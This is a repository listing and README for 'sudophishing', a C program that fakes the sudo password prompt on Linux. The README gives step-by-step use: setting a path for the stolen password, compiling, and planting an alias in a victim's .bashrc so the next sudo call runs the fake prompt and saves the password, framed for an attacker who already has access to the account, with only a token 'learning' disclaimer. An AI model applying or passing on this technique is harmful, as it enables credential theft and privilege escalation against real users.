https://github.com/francescodisalesgithub/sudophishing
phishing the sudo password on a linux system
https://github.com/francescodisalesgithub/sudophishing
hacking phishing phishing-attacks virus
Last synced: about 1 month ago
JSON representation
phishing the sudo password on a linux system
- Host: GitHub
- URL: https://github.com/francescodisalesgithub/sudophishing
- Owner: FrancescoDiSalesGithub
- License: gpl-3.0
- Created: 2022-06-04T23:07:12.000Z (about 4 years ago)
- Default Branch: main
- Last Pushed: 2022-06-05T11:02:17.000Z (about 4 years ago)
- Last Synced: 2025-01-28T03:19:35.864Z (over 1 year ago)
- Topics: hacking, phishing, phishing-attacks, virus
- Language: C
- Homepage:
- Size: 17.6 KB
- Stars: 1
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# sudophishing
phishing the sudo password on a linux system
# Alert
This software is used only for learning don't use it for any actions against the law.
# How to use sudophishing
Change the define **PASSWORD_PATH** in the source code with the path where you want to save the stolen password
Compile the source code:
`gcc -o sudophishing main.c`
then you have to add sudophishing as alias. Supposed you have already login as the user somehow, but you don't have his password, go to the .bashrc file and at the last line of the file write:
`alias sudo='cd path-where-there-is-sudophishing;./sudophishing'`
As the next login from the user, when he is going to write the sudo command, sudophishing will start asking for the password. The password will be saved in the path you decided to save the stolen password